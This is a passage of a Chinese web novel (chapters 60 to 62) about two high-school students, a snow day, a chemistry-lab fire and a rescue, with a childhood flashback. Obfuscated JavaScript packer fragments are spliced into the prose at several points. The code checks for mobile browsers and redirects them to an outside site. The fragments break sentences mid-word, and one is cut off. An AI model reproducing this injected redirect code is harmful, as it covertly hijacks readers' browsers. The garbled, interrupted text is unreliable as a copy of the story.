0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508262|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯年后天上午大课间时去实验室门口等他。 魏旬被革职之后,化学课代表的位置一天不能空,收发作业、整理归总的活儿都要有人干。 但现在已经是高三下学期了,班会时间早就被各科占用,专门投票选也没太必要。 于是董老师大手一指,就让化学成绩垫底的方行舟兼任语文和化学两门课的课代表,希望他能借此提高一下对化学的重视程度。 方行舟只觉得是天降大雷,被劈得外焦里嫩,但又不敢反抗,只能每天笑脸赔给董老师,转身的牢骚对着李斯年等人发。 “老董头是不是故意整我呢,做课代表和提高成绩到底有什么关系?我现在一人拆成两半用,宝贵的时间全都用在鸡零狗碎的活上,实验室里那些试剂以前都是魏旬整理的,我想找一个都费死劲儿了!有这时间,我刷刷题不香吗?”方行舟哭丧着脸。 “得了吧,之前空闲时,也没见你刷题啊。”李斯年笑。 “哪有,我只是刷得是语文阅读而已,说真的,我不懂你们这些喜欢化学的人,到底是为了什么,那些元素和公式简直太枯燥了,我看着就脑袋大。” “化学很浪漫啊。”李斯年笑容微微收敛。 方行舟仿佛听到两个完全不相干的词:“你是不是学傻了?” 李斯年一边将桌上的课本卷子归置整齐:“明明都是看起来平淡无奇的东西,只要碰撞在一起,就会产生意想不到的反应,还不浪漫么?” 方行舟仍然摇头:“看来学霸的世界,我真的无法了解。” 他吐槽完,回到自己的座位上,对着明天要交的两张化学试卷发愁。 距离下节课上课还有几分钟,李斯年回头看了眼,许之不在座位上,于是拿起自己已经写完的卷子,凑到方行舟旁边:“要参考一下么?” 方行舟接过卷子一看,喜上眉梢:“不愧是好兄弟!” 李斯年看他已经熟练的“参考”起来,更压低了声音问:“那个……实验室大门钥匙是不是课代表和老师各有一把?” “是啊。”方行舟头也没抬。 “你的能先借我一下吗?” 方行舟笔稍稍停顿,去看李斯年:“你要那个干嘛?” 李斯年有些不好意思的笑:“我想先练练那个实验,不然回头在董老师面前万一做砸了,有点丢脸。” “这……”方行舟有些迟疑,“可是老董头给我时,嘱咐了好几次,说拿了钥匙就要全权负责,不让外借。” 李斯年叹了口气,表示十分理解的点头,努力掩饰了语气里的遗憾:“啊,那就算了,不给你添麻烦。” 说完,就回到自己桌前。 方行舟看着李斯年一脸失落的表情,转过头,目光就落在李斯年和自己那两张并排摆放的卷子上。 他拿起笔写了几行字,越想越觉得自己好像有点太不够意思了,不过是一把钥匙而已,兄弟需要,帮一下又怎么了。 难道自己当了课代表之后,也无形之中变得拿腔拿调了么? 那和魏旬那个家伙有什么分别! 方行舟深呼吸,终于下定决心,把笔往桌上一放,凑到李斯年旁边:“我答应了老董头,钥匙不能给,但你什么时候要去练习,我去帮你开门!” 李斯年知道方行舟一定会吃这一套,但脸上还是惊讶又感谢,低声和方行舟说了一个时间:“真的谢谢你。” 方行舟摆摆手,笑道:“嗐,谁叫咱们是好兄弟呢!” 60.初雪 周四,天气预报里提过好几天的初雪终于姗姗来迟。 李斯年起床时,就感觉外面特别亮,看了一眼时间和往常没什么差别,拉开窗帘,便是白茫茫一片引入眼帘。 “下雪了?”许之从床上坐起,揉着眼睛,待看清后,脸上也有喜悦神色。 他套了件外套,就把小白抱起来,带她去窗边瞧。 小白眼睛瞪得圆溜溜,左看看右看看,似乎也觉得新奇。 “从前下雪天你都是在外面过的,会不会也想念雪的味道?”许之和猫说话时,声音会不由自主变得更轻柔。 他将门打开一半,迅速的伸手在地上捞了一捧雪,找了个干净的猫碗放了,推到小白面前。 小白凑近闻闻,“嗷呜”一声,仿佛在问这是什么吃的、怎么没有味道,复又低头用鼻子拱了一下,立刻凉的往后一躲,随即轻轻打了个喷嚏。 李斯年与许之二人都忍俊不禁起来。 “哪有你这样的,大冬天请人吃冰沙。”李斯年笑完,把碗收了起来。 预感到今天会很冷,许之穿了一件白色的羽绒服,这样的颜色其实有些挑人,一不小心就会像是大雪团子。 但许之本身就瘦,个子也高,竟然把这件衣服穿出轻盈的感觉来,衬得他白皙的脸上透出好看的血色,深棕色刘海干燥蓬松的垂在额前,让人看着就很想揉一把。 而李斯年也是这么做的:“好标志的雪人。” 许之笑着一躲:“你这弄乱别人头发的习惯哪里来的?” 李斯年理所当然:“李倾诺从小到大也都留刘海的。” 许之戏谑道:“她怎么没打死你。” “想来着,可惜打不过我。”李斯年贱兮兮的勾了嘴角。 推开门,凛冽而干净的雪风扑面而来,大路上已经被踩出了痕迹,但门前的几步路上还是完整未被破坏的雪面。 成为在上面第一个留下脚印的人,是会很开心的,往年这样有积雪的早晨,郑秀都会打开门,自己站在门口,叫来李斯年和李倾诺先走出去。 所以现在李斯年也想要把这样的快乐留给许之,他侧身一让:“你走前面。” 许之眉眼带笑的看了他一眼,像是孩童般,有几分天真无邪又跃跃欲试的意思,李斯年双眼被闪了闪,只觉得比这铺天盖地的雪白还要耀眼。 许之抬起脚,踩在雪上,随后半个小腿都陷了进去。 “好深的雪啊。”他转头对李斯年感叹。 李斯年只是看着他,笑着“嗯”了一声。 许之一步一步走得珍惜又仔细,直到来到三岔巷子的大路上。 大路上的雪被环卫人员轻扫过,白雪都堆在两边墙角,变得有点脏污,但这样才能勉强过自行车。 许之想去看李斯年走出来没,但他刚要转头,就感觉肩膀后侧一重。 那重量来得快、然后迅速消散,许之只来得及感觉到纷飞的雪粒擦着自己脸边而过。 “你暗算我。”许之矮身也是抓起一把雪,在手中团了团,迎面丢向李斯年。 对方早有准备,轻易就躲了过去,另一只手团好的雪球同时丢出,又命中了许之胸前。 “你好菜啊。”李斯年哈哈大笑,“叫你跟我一起玩吃鸡非不玩,这不,准度差很多啊!” 说着,又蹲下抓雪球,接连丢到许之身上,命中率百分之百。 许之从小到大都只是旁观别的孩子打雪仗,实战经验自然不足,他一边抬手挡,一边向前跨了一步,手中的雪来不及攥紧,抬手就抛向李斯年。 雪粒天女散花般在二人之间展开,许之也被自己这攻击力为零的雪球给逗笑了,他一边笑一边直起腰来,透过呼出的白气,对上李斯年温柔的眸子。 许之忽然觉得很畅快,他索性把手里残余的雪又抛洒到半空中,仰着脸去接。 “诶,小心凉。”李斯年拉了他一把,才叫雪粒不至于顺着他的领口落进去,又拍了拍他身上刚才被雪球砸出的雪渍,“你今年几岁啊?小朋友。” “还说我,难道不是你先冲我丢雪球的?”许之侧过头来,他脸侧沾了些雪,笑盈盈的眼尾有亮亮的水渍,大概是融化的雪粒,双颊却是更红了。 李斯年看得一瞬失神,又听许之说:“雪花和萤火虫好像……这世上有白色的萤火虫吗?” “没有。”李斯年脱口而出,见许之眼中似乎有些失落,于是又补充道,“但是有金色的。” 许之将信将疑的看他:“真的?” “当然是真的!”李斯年胸有成竹的说完,眼尾闪过一丝狡黠,“要是我带你看到金色萤火虫怎么办?” 许之眨眨眼:“什么怎么办?” “我总不能白带你去看吧,那种萤火虫还挺稀有的。你得……答应我一个要求。”李斯年说。 “要求?”许之有些警惕,“你又在想什么坑人的主意。” 李斯年又气又无奈的笑:“什么叫“又”?我在你心目中到底是什么形象,怎么感觉不是好人呢?” 许之耸耸肩,给了个“你自己意会”的眼神,将快滑到手臂的书包肩带正了正,抬脚往学校走。 李斯年快步跟在他后面,和许之纠结了大半路,据理力争,认为他应该对自己人品有基本的信任,答应一下又不会怎么样。 许之被他缠得烦了,也不知道为什么李斯年今天要这么执着于这个问题,直到进了学校大门,终于点了头:“行,只要我看到金色萤火虫,就答应你一个要求!” 李斯年心满意足的笑了起来,许之终于得到了片刻耳根子清净。 - 或许是路上积雪多的原因,这天中午班上大多数人都没有回家,在食堂吃了饭之后,就回教室将就着休息会。 许之照例在午休的时间刷了些题,直到临近两点,他放下笔,活动了下略有僵硬的脖颈,才发现前面李斯年的座位仍然是空的。 刚才他们是一起从食堂回来的,不过去一趟卫生间的功夫,这么久还没回? 许之去卫生间看了一趟,里头也没人。 这时,下午第一节课的上课铃声已经响起了。 于是拿出手机给李斯年发消息。 许:你在哪? 几分钟后,李斯年就回了消息。 SN:有点事。 许之刚想问什么事,又一条消息发来。 SN:两点半来一趟实验楼,化学实验室1。 两点半正是体育课期间。 许:干嘛,你又逃课? SN:什么叫“又”啊…… 许之不自知的扬起嘴角,隔着一行字都能想象出李斯年那副无奈的神色。 SN:你来就是了,一个人来啊。 这人到底想搞什么,神秘兮兮的。 许之知道这时候问也问不出什么来,于是回了个“好”。 学校另一边,实验楼四楼,化学实验室1。 原本应该上锁的铁门半开着,李斯年没有开灯,借由窗外的光线,将酒精灯、试管等仪器从柜子里拿出来,整齐摆在桌上,又拿出所需的试剂,取出少量…… 他的手很稳,动作从容不迫,完全不像是曾经在这个实验上失败过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518449|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样。 实验反应过程中,李斯年拍了张照片,略一思索,发给了梁芷。 SN:怎么样,像不像萤火虫? 他本没想着梁芷能及时回消息,这时候正是上课时间。 但对方却回得很快。 雪绒花:挺像的。 雪绒花:这不是高二的实验么?你怎么现在做? 不愧是小学霸一名,看的还挺准,李斯年心想。 SN:许之没见过萤火虫嘛。 雪绒花:…… 雪绒花:我知道你们恩爱,但这样秀真的好吗? SN:[笑脸] 李斯年将手机放回口袋,把仪器清洗干净,又重新摆回去。 刚才的试剂用量都比较小,实验效果其实没有李斯年预想的那么好,他决定等许之来之前,再加大剂量尝试一次。 说好要给他看萤火虫,那就得是最完美的萤火虫。 - 下午第一节体育课原本是因为积雪而改为室内课的,但禁不住六班全体同学鬼哭狼嚎的哀求,最终季老师还是心软了,放他们去操场,而且是自由活动。 女生们大多三两成群一起堆雪人,男生们则开始打雪仗。 方行舟一个雪球丢到许之身上:“来玩!” 许之和班上其他男生其实都不太熟,而且他还记着等下两点半和李斯年的约,正想要摆手说“算了”,但话还没出口,左侧又一个雪球擦着脸飞了过来。 丢雪球的那个人许之甚至不记得叫什么名字,只知道是坐在方行舟的前面。 “一起啊!”那人说。 刚说完,他屁股上就被方行舟的雪球来了一下,方行舟扯着嗓子笑:“诶,欺负我兄弟呢!” 热闹的氛围在冰天雪地里蔓延,许之也不由得被感染,他站了起来,加入打雪仗的队伍。 大家互相打得乱七八糟,许之也吃了几口雪,冰凉在唇齿间化开,心中却是暖洋洋的。 从小到大,大人们对他的评价都是“不合群”,但其实有哪个孩子是天生性格孤僻古怪、自愿与世隔绝呢? 当初得知许茜要和李宇正式在一起、所以自己得从庆城转学来江城时,许之只觉得麻烦,尽管在庆城高中的日子不好过,但他也并没觉得换个地方就能好多少。 他知道自己这样大约就叫做习得性无助,但没办法改变。 其实他的力量一直都很小,小到不得不竖起全身坚硬的刺,时时刻刻保持着戒备与敌意,才能勉强将自己保护。 直到遇到李斯年,来到高三六班,认识了方行舟、王雪菁、黄锦婷等人。 一切才变得不一样。 他虽然仍然没办法和所有同学变得熟识,但他终于可以身处于一个正常的环境,触碰到真挚友谊的模样。 这样的感觉……很幸福。 “看,下雪了!”不知是哪个女生发出惊呼。 大家纷纷停下动作,仰头去看。 “真的诶,还下得挺大!”另一个同学说。 许之也伸出手,让大片大片雪花落在手套上,拿近些来看,能看出它们是形状各异的晶体、却又都非常符合印象里“雪花”的模样。 真是大自然的鬼斧神工。 许之不由自主的想起李斯年,想给他看看这雪花的模样。 他抬起眼,也差不多该往实验楼走了,忽然就看到从那个方向急匆匆的跑过来几个学生。 他们脸上不像是见到落雪那般欣喜,而是匆忙慌乱。 许之听到其中有人在大喊: “实验楼着火了!” 61.火灾 围观的人将实验楼围得里三层外三层,许之赶到时,楼栋周围已经被老师围了起来,庄主任正拿着喇叭让所有学生即刻有序后退、返回班级。 气氛并没有许之以为的那么严肃沉重。 他心中疑惑,近乎粗暴的拨开人群,在一声声“谁啊!”“挤什么挤?”“诶,你怎么推人啊?!”之中,来到包围圈的里面。 雪越下越大,许之仰起头,只见滚滚浓烟与明灭的火光正从四楼某个房间的窗户中冒出,在白茫茫鹅毛般的雪花中,显得很不真实。 他又看向手中的手机,屏幕闪了闪,界面从拨打电话跳转到通话记录界面。 从操场一路过来,他已经给李斯年打了19通电话,全部无人接听。 这不正常,李斯年从来没有这样过…… 念头在许之脑中一闪而过,他进而突然意识到,自己从前似乎永远都能在任何时候、无需等待的联系到李斯年—— 他从不会漏接自己的电话,微信除了睡觉时间都是秒回。 许之几乎要以为这是理所当然的事情,直到它发生了改变。 许之目光四下搜索,很快就锁定了站在左前方的庄主任,他正维护着现场状况,安排教职人员有序进行工作。 许之继续穿过人群,想要走近。 “确定了吗?这节课全校的确没有任何一个班级在实验楼上课?”庄主任蹙着眉,问。 站在他面前的一个行政老师点头:“一楼琴房和画室也没有学生租借,微机室、各科实验室都是常年上锁的,只有任课老师拥有钥匙支配权。这栋楼里应该是没有学生在的,四楼化学实验室大概率是意外自燃。” 庄主任思索片刻,谨慎道:“你还是去统计一下所有老师手里的钥匙情况,然后让各班立刻统计学生人数。” 行政老师一愣:“可以,但前一项工作量可能有点大,而且今天有好几个班主任都去教育局开会了,不好找人,要花些时间……” 许之听到这里,忍不住冲破了包围圈,快步走到庄主任和行政老师面前。 庄主任惊讶一瞬,随即严厉道:“你哪个班的?赶紧回教室,不许到这边来!” “你是推断还是进去看过了?”许之仿佛没听到庄主任的话,径直抓住行政老师的手臂,直冲冲的问,“实验室里真的没有人吗?” “你你你这同学做什么,放开——”行政老师被抓得疼了,想要挣脱,抬头对上许之凌冽锐利的眼睛,呵斥的话忽然就卡在了喉头。 少年面沉如水,脸色极差,嘴唇紧紧抿成一条直线,行政老师甚至觉得在对方身上感受到了与年龄截然不符的压迫感。 他不由自主就开口回答:“火、火势太大了,消防设备没到,不可能进去房间确认……按照推断来说……” 许之怒道:“这种事怎么能靠猜?!” 庄主任上前拉开两人,厉声问向许之:“你的意思是楼里有人?谁?” “李斯年,李斯年可能在实验室里。”许之胸口剧烈起伏着。 庄主任如同被当头来了一棍闷棍,瞪大了眼,忍不住骂了句脏话:“什么?!他为什么会在里面!” 也等不及听许之再说,大手一挥,向行政老师下令:“去叫保安拿应急用的防毒消防面具和隔热服,实验室里可能有学生,进去确认——诶!你做什么?!” 庄主任话没说完,声音猝然变调,因为许之突然像是发了狂似的,猛地将庄主任推开,如同暴起的猎豹一般,快速奔向实验楼。 他心急如焚,等那些人去保安室拿了东西、再穿戴好过来,怕是要来不及了! “快点拦住他!”庄主任厉声道。 周围几个老师愣神半秒,许之已经从他们面前冲了过去。 “同学,危险!” “不能进去!喂!” 许之动作快得惊人,几个老师奔跑着伸长了手,根本连人的衣摆边儿都没摸到,就看到人快步奔上楼梯,消失在转角尽头。 老师们面面相觑,无措地看向庄主任,后者气得差点把手里的喇叭砸掉:“愣着做什么!快去拿防毒面具,把人给我抓出来!” 围观的同学们起了骚动,原本准备离开的人也再次返回,一时间,惊讶声、询问声交错响起。 “什么?有人跑进着火的楼里了?” “谁啊,不要命了!” “是许之,他冲进去了!” “许之是谁?” “就是那个转校的年级第一!长得特漂亮那个!” “卧槽,真的假的,让我看看!” 人浪涌动,眼看有失控的趋势,庄老师脑门青筋直爆,生怕楼上的火卷下什么玻璃、窗框之类的,砸到学生。 他一边向老师们吼:“扩大警戒圈!全部往外!”又冲围观的学生:“所有学生!立刻返回教室!班主任负责清点人数,违反者记过处理!” - 这一切喧嚣和杂乱都被许之抛在脑后,他埋头只顾在楼梯狂奔,每往上一层,烟雾都愈加浓重。 他也不知道是自己跑太快、还是烟太呛,到四楼时,只觉得嗓子开始撕裂般疼痛。 他将外套脱下来掩住口鼻,刚才打雪仗让外套外侧有些许湿意,在此刻算是聊胜于无,另一只手努力煽动,尽力在烟雾中保持视线。 不远处火光隐约,热浪扑面而来,许之脚下没有丝毫迟疑,大步向前,着火的那个房间就在眼前。 许之看到门边墙上挂着的“化学实验室1”,一颗心宛如坠入深渊。 “李斯年!”许之用衣袖裹着手,试图去打拧门把,发现这铁门竟然是反锁的。 许之抬头去看窗户,寻找翻窗进去的可能性。 可惜化学实验室靠走廊内侧的窗户开的非常高,是狭长的长方形,高度接近天花板。 为保护内部器材和化学试剂,所有窗户都只能打开四分之一,宽度勉强可以伸出一根手臂。 但这只是一个比喻,毕竟实验室内除了搭配桌子高度的矮椅之外,所有实验桌、柜都是固定在地面的。 哪怕成年男性一米九的身高、站在矮椅上的高度,都只能用手指探摸到窗户的边缘。 根本不可能伸出来。 如果没记错的话,靠建筑外侧的窗户则是直接封了防盗网的。 “李斯年!你在里面吗?”许之大吼着,呛了口浓烟,他咳了几声,下意识想要用外套再捂住口鼻,又怕这样会遮掩住声音,犹疑片刻,还是丢掉了外套。 就这样一边用力捶打着铁门,一边垫着脚,透过铁门上正方形的玻璃探视窗往里看,试图找到李斯年的身影。 房屋内被浓烟充斥,能见度很差,只能看到火光最旺是在教室里侧的中后区域,整个后窗窗帘、饮水机和部分桌面都被已火焰吞噬。 而看清墙钩上那件衣服时,许之的瞳孔骤然紧缩。 是李斯年今天穿的那件黑色羽绒服! 他果然在实验室里面! 无形的热浪在屋内翻滚,视线也仿佛被搅动,目之所及的所有景象都变得摇晃、扭曲,宛如地狱一般。 许之心在胸腔咚咚咚跳得剧烈,在极度紧张之下,眼前甚至开始阵阵发白,他忍不住想各种情况,李斯年是不是已经昏迷了。 更或者,已经…… 许之牙齿用力,狠狠咬了舌尖,剧痛和血腥味道让他浑身一颤,找回了些许清醒。 越是在这个时候,越要镇定,一切慌乱只会影响判断,他必须保持快速准确的思考! 许之后退几步,环顾四周,试图寻找趁手的工具。 很快,他就在走廊尽头看到了消防设施,他三步并作两步走到铁柜前,曲肘重击,砸碎玻璃柜门,一把捞出了灭火器。 回到铁门前,将灭火器打横,重重击打铁门上的玻璃! 一个小小的灭火器,想灭火是不可能的,他的目的是进实验室。 育德是双城数一数二的学校,门窗等设施都是用料扎实,而且窗口偏高,击打时需要微微垫着脚,无法完全发力。 许之几下砸下去,手腕也被震得发麻,玻璃却仍然毫无损伤。 随着时间过去,他感觉口鼻已经被滚烫的烟塞满,每一次呼吸都变得比前一次更困难。 “李斯年!”许之咬紧牙关,继续呼唤李斯年的名字。 他听到自己声音已经变得沙哑,混杂在热浪与烟雾之中,担心传得不够远,于是又更加用力。 “李斯年!” “李斯年!!” 他就这样每念一声李斯年的名字,就狠狠地砸一下玻璃,腕臂是钻心的疼痛,手指却仍然死死的攥住灭火器。 他能感觉到自己状态下降的非常厉害,几分钟之间,肺部就已经传来明显的紧缩感,这和溺水的感觉竟出奇的相似,吸气越来越短,能容纳氧气的地方越来越少…… 许之不知道自己还能坚持多久。 但绝不可能回头。 李斯年在里面,他觉得自己的命仿佛也搁在了里面。 又一下猛击,玻璃终于起了裂痕,从撞击点往外蔓延,像是一张小小的、晶莹的蜘蛛网。 许之卯着劲,又抡起手臂,准备再来一下。 突然!一只手出现在玻璃下沿! 许之心中一跳,差点半条魂都要飞出去,他赶紧放下灭火器,垫脚去看。 “李斯年!是你吗?” 那手的手指奋力扒住边缘,关节用力到发白,显然是里头的人正在借力站起身来。 先是出现了一个杂乱的头顶,许之一眼就能确定就是李斯年,但欣喜一晃而过,因为他紧接着看到沾满脏污和血色的刘海,紧紧地贴在李斯年左侧额头上。 李斯年的整个左脸都沾满了血。 但一双眼依然明亮,透过灰尘浓雾,看向玻璃外焦急的许之。 他竟然是先弯了弯眼睛和嘴角,冲许之笑,然后开了口。 在轰隆的燃烧声中,李斯年其实听不太清自己的声音,只能从嗓子堵塞发痛的感觉里猜测,声音恐怕非常沙哑。 “对不起……” 许之只看到李斯年的嘴唇蠕动,隔着玻璃和铁门,他根本听不到对方的声音。 但人还活着,就给了许之巨大的鼓舞,他觉得浑身瞬间又充满了力量,甚至肺部的疼痛也消失不见了。 就差一点了,自己一定能救出他。 “你往旁边靠,我要把这个敲碎!”许之一边说,一边举起灭火器示意,奋力打着手势。 李斯年看懂了,他迟疑片刻,终于还是侧到一边。 许之再次用击打玻璃。 一下。 又一下。 沉重的击打声被淹没在屋内爆裂的火焰之中—— 玻璃还是没有碎。 许之以为只要出现了裂缝,剩下就只是再砸几下的事情了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很短、很快,许之甚至分辨不出是一句话还是一个词。 轰隆——! 二次爆燃在这时发生。 许之来不及反应,眼前的一切仿佛慢动作般,李斯年柔和的笑意尚挂在唇边,身后骤亮,仿佛整个人仰面躺进了太阳。 随后火焰如浪潮砸向探视窗玻璃,瞬间充斥整个实验室! “李斯年!!” 许之歇斯底里地嘶吼,脑子一片空白,猛地抬起双臂,再次狠狠将灭火器砸向玻璃。 “哗啦”一声,玻璃终于不堪击打的积累,应声而碎! 火舌像是地狱里探出头的猛鬼恶魂,从探视窗倾泻而出,燎上了许之的发梢,他迅速侧身,拍熄了火,也躲过最初这一波涌出的火焰。 然后毫不犹豫的返回,抬手就往满是破碎玻璃的窗框上一撑! 掌心瞬间就被割开无数口子,鲜血顺着门往下淌,但许之已经什么都感觉不到了,烈焰烧红了他的眼,哪怕前面这条路是通往十八层地狱,他也要走! 因为李斯年在那里! 他双臂用力,整个人往前一翻,进入了实验室。 内部的热度与烟雾浓度是外面的好几倍,许之几乎是刚落地就差点晕厥,他强撑着向前方地面摸索,在门后不远处发现了已经昏迷的李斯年。 他浑身衣物已经因爆燃而燃烧起来,许之抬手就脱掉了自己的卫衣,将较大的火苗拍熄,剩余的无暇顾及,直接要将他往肩上扛。 李斯年个子高、一身肌肉,此刻浑身脱力的状态更是沉重,若是平时,许之完全不认为自己能把他扛起来。 但这瞬间,大概是求生的欲望被激发,肾上腺素狂飙,他竟然真的就这么扛起了李斯年! 许之咬紧牙根,将超额负重带来的恶心呕吐感咽了回去,先把李斯年上半身放在铁门窗的框上,又扛起他的腿,一个挺身,完全的将李斯年推了出去。 “扑通”一声,人在门那边落了地。 而这边许之心中一松,眼前瞬间就开始发黑。 把李斯年运出去这件事耗费掉了他最后的体力,一口气没能回上来,想要跟着翻出去已经做不到了。 像是有魔鬼的手突然一下抽出了他浑身的骨头,许之整个人不受控的往侧面墙上摔撞,然后像是没有塞棉花的布娃娃布囊似的,顺着墙滑倒在地。 意识如流水,在这滚滚热浪中迅速蒸发。 我是不是就要死了,许之心想。 五感在渐渐模糊,整个人好像陷入无边无际柔软的草地里,被包裹吞噬。 但思维却出奇的清晰。 原来临死前,是这种感觉啊…… 许之心想。 没有什么走马灯出现,甚至有些难以置信的平静。 都说人最好的死,是没有遗憾的死,那么他这算不算已经没有遗憾了?用自己的命换李斯年一条命,怎么想都挺值的。 许之隐约听到有消防车的警笛声传来,大概很快就会有人上来救李斯年了。 他唇边浮现出虚弱的笑意。 老天在生命最后的这段时间里,对自己还不算差。 让他遇见了李斯年。 知道了喜欢上一个很好很好的人是怎样的滋味。 只可惜……不能再在这梦境里多待一会。 许之缓缓闭上眼,四周的嘈杂、火焰的炙热似乎都在这瞬间骤然平息。 “再见,李斯年。”他心想。 “希望下辈子,还能遇见。” 62.苏醒 黄昏日落时分,阴云笼着斜阳,阵阵闷雷挑动着人们心中的不安。 巷子里,许茜走在前面,她今日看起来也很疲惫,步伐缓慢,小许之乖巧的跟在她身后,安安静静不作声,只是偶尔抬起关心的目光。 幼儿园不提供周末的住宿,许茜因此周五晚上都要去接孩子回家,这是小许之每周最期待的一天。 他准备了一肚子的话,这周幼儿园里发生的事情、自己吃到什么好吃的菜,书包里还放着母亲节时老师带他们创作的一幅画。 想到这个,他迫不及待将书包反背到胸前,拿了画出来。 “妈妈。”小许之举起画,一双眼睛亮亮的,语气带着讨好,想让许茜开心,“母亲节快乐!” 许茜漫不经心的回头看了一眼,目光甚至没有聚焦在画上,敷衍的“哦”了一声。 小许之有些失落,他咬了咬唇,再次鼓起勇气,小跑到许茜面前:“妈妈你看,老师还说我画的好,给我小红花了!” 许茜无奈的止住脚步,终于是看向小许之手里的纸,目光却是蓦然一变,涂着亮红色指甲油的手一晃而过,扯了画来。 “这是什么?!”她斥责道。 小许之吓得一愣,磕磕巴巴:“全、全家福……” 画里,穿着裙子的长发女人旁边站着个小孩,右上角有一个偏小一些的男人,三人都笑得灿烂,小孩手里拿着花、男人手里拿着蛋糕。 许茜只觉得刺眼,她五指收紧,尖锐的长指甲刺破了纸张。 小许之心疼的“啊”了一声,还没说出话来,就听许茜质问:“你没有爸爸,不知道吗!画这种东西,还说母亲节礼物,专门来恶心我的?” 小许之浑身僵住,站在原地,虚张着嘴,不知道该怎样解释。 幼儿园其他孩子的画里都有爸爸和妈妈,所以当小许之只画了一个女人和一个小孩时,有孩子好奇地跑来看,问他:你怎么不画爸爸? 小许之不好意思说“妈妈说我没有爸爸”,因为他也不懂,为什么每个人天生就有爸爸,只有他没有。 小许之不敢问许茜,一问许茜就要哭、就要动手打人。于是他沉默了一会,咧嘴笑着对其他孩子说:“啊,我忘记画了。” 然后在角落里补上了一个拿着蛋糕的男人。 妈妈喜欢吃甜的,如果是蛋糕,她应该就不会那么生气了吧? 没想到许茜还是生气了。 小孩子分辨不清那么多复杂的情绪,只是觉得委屈,一委屈,就忍不住落下泪来。 许茜看小孩哭就烦,将画粗暴的一揉,就往小许之脸上砸:“男孩子不准哭!我说过多少次了!” 纸团在小许之脸上弹了一下,滚落在墙根的积水里,沾满了脏污。 许茜说完,转身就走,而刚迈开腿,忽然看到了什么人,顿住了。 “你、你又来干什么?”许茜嗓音尖利,仿佛她的长指甲。 “我老公被你藏哪里去了?”也是一个女人的声音,和许茜相比,粗哑很多,带着明显的怒火。 小许之记得这个声音,他顾不上去捡那张画,哆哆嗦嗦的往许茜身后躲。 许茜轻哼一声:“你自己的老公自己不看好,到我这来找什么人!” “还不是你这个狐媚子,做了小三不够,还要生个小野种,把我老公的魂都勾去了,他昨晚就没回家,肯定是来找你了!”女人不依不饶的堵上来,扯住许茜的胳膊,“带我去你家!” 许茜被她抓得吃痛,却抽不出手来,她身形小巧纤瘦,力气自然比不得面前壮实的女人。 于是话再出口,就带了些许哭腔,似乎是有意要引起周围过路人的注意:“你自己没个女人样,留不住老公,凭什么来找我麻烦?我早就说过一百次了,孩子生下后我和他一刀两断,再也没见过!” “你说谎!我前两天还看到他在看手机里你的照片!”女人怒吼。 许茜听了这话,忽然就一笑。 她模样很美,哪怕对面女人恨极了她,也不得不承认这件事,只是此刻她笑得尖酸刻薄,倒真有点像是阴毒的狐媚子了:“哎呀,原来这么几年过去了,他还没放下我呢?你既然看到照片,怎么不看看清楚,和他在一起时我是直头发,如今都烫卷了。” 陆续有人停下来看热闹,女人脸一阵黑一阵白,正要开口,许茜抢着扬声道:“你怕是还不知道吧?他外面飘飘的彩旗多了去了,你沿着路边那些洗头店去找,比来找我快!” 说完,趁着女人盛怒分神的瞬间,许茜猛然抬脚一踩,高跟鞋的后跟就重重地陷入了女人的鞋背。 “啊!”女人痛呼一声,弯下了腰。 许茜眼疾手快,趁机甩了她的手臂,转身抓起小许之的后领拔腿就跑。 小许之被许茜半拎着,几乎只有脚尖能沾到地面,衣领从前面卡着脖子,并不致命的窒息笼罩着他。 他听到身后那女人很快就追了上来,嘴里含糊不清的骂着脏话,许之眼前的画面像是在飞,一颗心咚咚狂跳。 也不知许茜拎着他跑了多久,面前突然一暗,许茜的手就捂上了他的嘴。 小许之呼吸急促,胸膛飞快起伏,抬眼就看到一片花花绿绿的饮料广告图——他是被许茜半箍着,藏身在了菜市场小卖部旁边的两排汽水箱后面。 不过多时,一阵骚乱随着女人的声音传近。 “小婊子,你跑啊,我看你能跑到哪里去!”女人似乎踢翻了什么,一阵玻璃塑料碰撞散落的声音传来,噼里啪啦,“看我抓到你不扒你一层皮!” 小许之吓得浑身一颤,惊叫声忍不住要顺着呼吸往外冒,随即就感觉嘴被许茜捂得更紧,连鼻子也被捏住了。 小许之惊恐的扭过头,看到许茜带着斥责意味的双眼,似乎是在嫌弃他声音太大会引得女人找过来。 “许茜!小婊子!给我滚出来!”女人沿着店铺一家一家找,眼看就要找到二人的藏身处。 小许之又憋又惧,只觉得肺都快炸开来,他不敢挣扎,只是一双圆眼睛忽闪,求助的看向许茜,嘴巴努动,希望她的手能松开些。 许茜脸色也很差,一双好看的细眉紧紧蹙起,她想了想,忽然凑到许之耳边。 “等下你先出去。” 小许之眼珠子转了转,惊疑不定。 “你跑得快,把那个泼妇引开!”许茜压低着声音,语速极快,“别回家,绕几圈,然后去那个滑梯公园等,我晚点去接你。” 说完,见小许之没动静,又恶狠狠的补了句:“听懂没!” 小许之无声的咽了口唾沫,点点头。 许茜终于是放开了手,氧气如同潮水一般灌入小许之的鼻腔与肺部。 他眼前花白阵阵,也不知道过去了多久,几口气将将喘匀,就感觉身后有人拉了拉他的领子。 他以为是许茜催自己赶紧出去,正要站起来。 没想到身后再次传来的,却是一个少年的声音: “等下你先出去——” “我负责把这些家伙都拖住,你只管去报警!” 